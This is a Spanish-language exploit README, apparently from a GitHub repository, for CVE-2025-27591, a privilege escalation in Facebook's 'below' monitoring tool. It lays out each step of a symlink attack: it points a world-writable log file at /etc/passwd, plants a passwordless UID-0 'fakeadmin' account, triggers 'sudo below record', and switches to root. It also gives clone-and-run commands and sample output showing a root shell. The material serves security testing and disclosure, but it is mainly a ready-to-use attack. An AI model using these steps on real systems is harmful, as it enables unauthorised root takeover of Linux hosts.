CVE-2025-27591 – Escalada de Privilegios mediante Abuso de Enlace Simbólico en below

🛑 Aviso: Este exploit se proporciona solo con fines educativos y de pruebas de seguridad autorizadas. El uso no autorizado puede ser ilegal.

🧠 Resumen

below es una herramienta de monitoreo de rendimiento desarrollada por Facebook para sistemas Linux. Las versiones de below anteriores a una versión parcheada se ven afectadas por una vulnerabilidad crítica que permite a usuarios sin privilegios escalar a root explotando directorios de registros con permisos de escritura mundial y un manejo no saneado de registros.

🔎 Detalles del CVE

💥 Lógica del Exploit

Este script Bash realiza lo siguiente:

1. Verificar el directorio con permisos de escritura mundial:

   • Confirma si /var/log/below tiene permisos de escritura mundial (una señal de alarma).

2. Preparar el ataque de enlace simbólico:

   • Elimina el archivo error_root.log existente (si lo hay) y crea un enlace simbólico a /etc/passwd.

3. Construcción del payload:

   • Agrega un usuario root falso a /etc/passwd:
     root@kitploit:~

     fakeadmin::0:0:fakeadmin:/root:/bin/bash
     

4. Desencadenar el registro:

   • Ejecuta sudo below record para forzar al binario vulnerable a escribir registros.

5. Obtener acceso root:

   • Usa su fakeadmin para obtener un shell root sin solicitud de contraseña.

📁 Estructura de directorios

CVE-2025-27591/
├── exploit.sh
├── README.md

✅ Requisitos previos

Antes de ejecutar el exploit, asegúrate de tener lo siguiente:

• Shell Bash (sistema Linux)
• El binario vulnerable instalado: /usr/bin/below
• Directorio de registro con permisos de escritura mundial: /var/log/below
• Privilegios sudo para ejecutar: sudo below record
• Herramientas disponibles:
  • ln (para crear enlaces simbólicos)
  • su (para cambiar de usuario)
  • timeout (para controlar el tiempo de ejecución)
  • whoami (para verificar privilegios)

🚀 Pasos de explotación

# 1. Clone the repository
git clone https://github.com/00xCanelo/CVE-2025-27591.git
cd CVE-2025-27591

# 2. Make the script executable
chmod +x exploit.sh

# 3. Execute the exploit
./exploit.sh

🧪 Salida de ejemplo

[*] Checking for CVE-2025-27591 vulnerability...
[+] /var/log/below is world-writable.
[!] Found existing log file: removing it...
[+] Created symlink: /var/log/below/error_root.log -> /etc/passwd

[*] Writing malicious line to /tmp/fakeadmin
[*] Triggering logging via 'sudo below record'...
[+] 'below record' executed (or timed out)

[*] Attempting to write payload to /etc/passwd via symlink...
[+] Payload successfully appended.

[*] Trying to switch to root shell using 'su fakeadmin'...
root@target:/# whoami
root